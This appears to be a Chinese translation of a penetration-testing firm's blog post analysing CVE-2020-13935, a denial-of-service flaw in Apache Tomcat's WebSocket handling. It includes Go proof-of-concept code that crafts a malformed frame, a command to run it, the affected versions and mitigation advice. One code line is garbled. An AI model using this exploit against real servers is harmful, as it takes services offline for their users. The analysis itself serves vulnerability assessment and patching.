vlambda博客
学习文章列表

深入分析Apache Tomcat中的WebSocket漏洞

在本文中,我们将与读者一起深入分析Apache Tomcat中的WebSocket漏洞。

深入分析Apache Tomcat中的WebSocket漏洞
概述

Apache Tomcat是一种Java应用程序服务器,常用于Web应用程序,我们在渗透测试中经常会遇到它。

在这篇文章中,我们将深入分析Apache Tomcat服务器中近期曝出的一个漏洞及其利用方法,以帮助该软件的用户评估其面临的业务风险。该漏洞是与WebSockets一起出现的拒绝服务漏洞,并且已分配了漏洞编号CVE-2020-13935。

在渗透测试期间,我们经常会碰到用户运行过时版本的Apache Tomcat的情况。如果一个给定的版本包含漏洞,并且供应商(或维护者)已经发布了相应的安全更新,我们就会将该版本的软件归类为“过时的”。然而,有些漏洞只有在特定情况下才能被利用,而升级Web应用服务器的代价通常会比较高昂。因此,用户必须掌握简单明了的信息,才能对该漏洞是否影响特定产品以及是否值得升级做出明智的决定。不幸的是,并不是所有的供应商/维护者在安全方面都会提供简单明了的信息。

Apache Tomcat 9.0.37的版本说明显示,已于2020年7月发现并修复了一个漏洞,相关内容如下所示:

WebSocket框架中的有效载荷的长度未能进行正确验证,而无效的有效载荷长度可能会触发无限循环,最终,过多的有效载荷长度无效的请求可能导致拒绝服务。

实际上,由于这些信息含糊不清,导致以下疑惑:

· 无效的有效载荷长度由哪些部分构成?

· 发生的是哪种拒绝服务?CPU被耗尽,还是内存被耗尽?甚至直接发生崩溃?

· 在什么情况下应用程序容易受到攻击?Apache Tomcat何时解析WebSocket消息?

· 攻击者需要进行哪些投资?攻击过程是否需要大量带宽或计算能力?

· 如果无法升级的话,是否有变通的解决方案?

这些问题可以通过一些分析来回答,并且这也是我们渗透测试任务的一部分。

深入分析Apache Tomcat中的WebSocket漏洞
分析安全补丁

我们对Apache安全团队针对该漏洞的安全补丁进行了分析后发现,他们通过在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代码,来修复该漏洞的(为了便于阅读,这里重新对代码进行了格式化):

// The most significant bit of those 8 bytes is required to be zero

// (see RFC 6455, section 5.2). If the most significant bit is set,

// the resulting payload length will be negative so test for that.

if (payloadLength < 0) {

    throw new WsIOException(

        new CloseReason(

            CloseCodes.PROTOCOL_ERROR,

            sm.getString("wsFrame.payloadMsbInvalid")

        )

    );

}

正如我们所看到的,这里添加了对有效载荷长度字段的额外检查,该字段的类型为long,如果值为负,则引发异常。但是有效载荷长度怎么可能是负值呢?

为了回答这个问题,让我们需要了解一下WebSocket数据帧的结构;根据相应RFC的描述:

0                   1                   2                   3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

+-+-+-+-+-------+-+-------------+-------------------------------+

|F|R|R|R| opcode|M| Payload len |    Extended payload length    |

|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |

|N|V|V|V|       |S|             |   (if payload len==126/127)   |

| |1|2|3|       |K|             |                               |

+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +

|     Extended payload length continued, if payload len == 127  |

+ - - - - - - - - - - - - - - - +-------------------------------+

|                               |Masking-key, if MASK set to 1  |

+-------------------------------+-------------------------------+

| Masking-key (continued)       |          Payload Data         |

+-------------------------------- - - - - - - - - - - - - - - - +

:                     Payload Data continued ...                :

+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +

|                     Payload Data continued ...                |

+---------------------------------------------------------------+

如上图所示,一个数据帧的前16位包含多个位标志以及7位有效载荷长度。如果将此有效载荷长度设置为127(二进制值为1111111),则应该使用所谓的64位的扩展有效载荷长度。此外,WebSocket RFC规定:

如果[7位有效载荷长度的值为]127,则后面的8个字节(最高有效位必须为0)将被解释为64位无符号整数,也就是有效载荷长度。

尽管该字段显然是一个64位无符号整数,但RFC却要求最高有效位为零,这似乎是一个特殊的选择。也许做出这种选择是为了提供与有符号版本的互操作性,但是却可能会引起混乱,甚至导致安全漏洞。

深入分析Apache Tomcat中的WebSocket漏洞
编写漏洞利用代码

接下来,我们将通过Go语言来实现概念验证代码。您可能会问为什么要用Go语言呢?很简单,因为我们觉得Go是一门非常棒的语言,不仅支持并发性,同时还为WebSockets提供了许多好用的代码库。此外,我们还能够根据需要为任何平台交叉编译PoC。

下面,让我们按照规范要求构建这样一个WebSocket帧:它被Apache Tomcat解析时,有效载荷长度将是一个负值。首先,需要选择位标志FIN、RSV1、RSV2和RSV3的值。其中,标志位FIN用于指示消息的最后一帧。由于我们要发送的整个消息都包含在单个帧中,因此,我们将该位设置为1。而另外的三个RSV位是为将来使用和扩展WebSocket规范而保留的,因此,它们都被设置为0。此外,opcode字段(4位)用于表示发送的数据的类型,因此,该值必须有效,否则将丢弃该帧。就这里来说,由于要要发送的是一个简单的文本有效载荷,所以必须将该字段的值设置为1。同时,Go库github.com/gorilla/websocket还为我们提供了一个要用到的常量。这样,我们就可以构造恶意WebSocket帧的第一个字节了:

var buf bytes.Buffer


fin := 1

rsv1 := 0

rsv2 := 0

rsv3 := 0

opcode := websocket.TextMessage


buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

第二个字节的第一个二进制位是MASK位,在从客户端发送到服务器的帧中,MASK位必须设置为1。我们最感兴趣的部分是有效载荷长度,因为它的大小是可变的。如果WebSocket消息的有效载荷长度不超过125字节,则可直接在7位有效载荷长度字段中对长度进行编码。对于长度在126和65535之间的有效载荷,7位有效载荷长度字段将被设置为常数126,并且有效载荷长度在接下来的两个字节中被编码为16位无符号整数。对于较大的有效载荷,必须将7位有效载荷长度字段设置为127,并且接下来的四个字节将有效载荷长度编码为64位无符号整数。如前所述,对于以64位定义的有效载荷长度,根据规范,最高有效位(MSB)必须设置为零。为了在Apache Tomcat中触发易受攻击的代码路径,我们需要指定64位的有效载荷长度,并将MSB设置为1,因此,我们需要将7位有效载荷长度字段设置为11111111:

// always set the mask bit

// indicate 64 bit message length

buf.WriteByte(byte(1<<7 | 0b1111111))

为了构建一个有效载荷长度无效的数据帧,以触发Apache Tomcat实现中的错误行为,我们需要将后面八个字节设置为0xFF:

// set msb to 1, violating the spec and triggering the bug

buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

随后的四个字节是掩码密钥(masking key)。按照规范的要求,它必须是一个来自强熵源的32位随机值,但由于我们已经违反了规范,所以,我们不妨使用一个静态掩码密钥,以使代码更容易阅读:

// 4 byte masking key

// leave zeros for now, so we do not need to mask

maskingKey := []byte不过,实际有效载荷本身可以小于指定长度:

// write an incomplete message

buf.WriteString("test")

数据包的组装和传输代码如下所示。为了更好地进行测试,我们将在发送以下内容后,让连接继续保持打开状态30秒:

ws, _, err := websocket.DefaultDialer.Dial(url, nil)


if err != nil {

    return fmt.Errorf("dial: %s", err)

}


_, err = ws.UnderlyingConn().Write(buf.Bytes())

if err != nil {

    return fmt.Errorf("write: %s", err)

}


// keep the websocket connection open for some time

time.Sleep(30 * time.Second)

完整的概念验证代码可从github.com/RedTeamPentesting/CVE-2020-13935下载。

现在,我们只需运行go build命令,即可生成可执行文件。为了测试该程序,可以设置一个易受攻击的Apache Tomcat实例,并以安装时提供的WebSocket示例作为我们的测试目标:

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

这就是利用拒绝服务漏洞所需的全部操作。如果一个易受攻击的WebSocket端点现在成为我们的目标,并且向其发送多个恶意请求,那么它的CPU使用率将会迅速上升,服务器就会变得反应迟钝,直至毫无响应。

深入分析Apache Tomcat中的WebSocket漏洞

请注意,解析代码仅由实际需要WebSocket消息的端点触发。我们不能向任意的Tomcat HTTP端点发送这样的消息。

根据相应的漏洞描述,以下版本的Apache Tomcat将受到该漏洞的影响:

· 10.0.0-M1 to 10.0.0-M6

· 9.0.0.M1 to 9.0.36

· 8.5.0 to 8.5.56

· 7.0.27 to 7.0.104

深入分析Apache Tomcat中的WebSocket漏洞
安全建议

如果可能的话,请将您的Apache Tomcat服务器更新到最新版本。然而,在某些情况下,更新方案可能是不可行的,或成本太高。在这种情况下,您应该检测自己的产品是否存在漏洞。如上所述,该漏洞只能在WebSockets端点上触发。因此,禁用或限制对这些端点的访问能够缓解这个安全问题。请注意,内置的示例目录也包含处理WebSockets的端点。

以上就是所有的内容,祝大家阅读愉快!

参考及来源:https://blog.redteam-pentesting.de/2020/websocket-vulnerability-tomcat/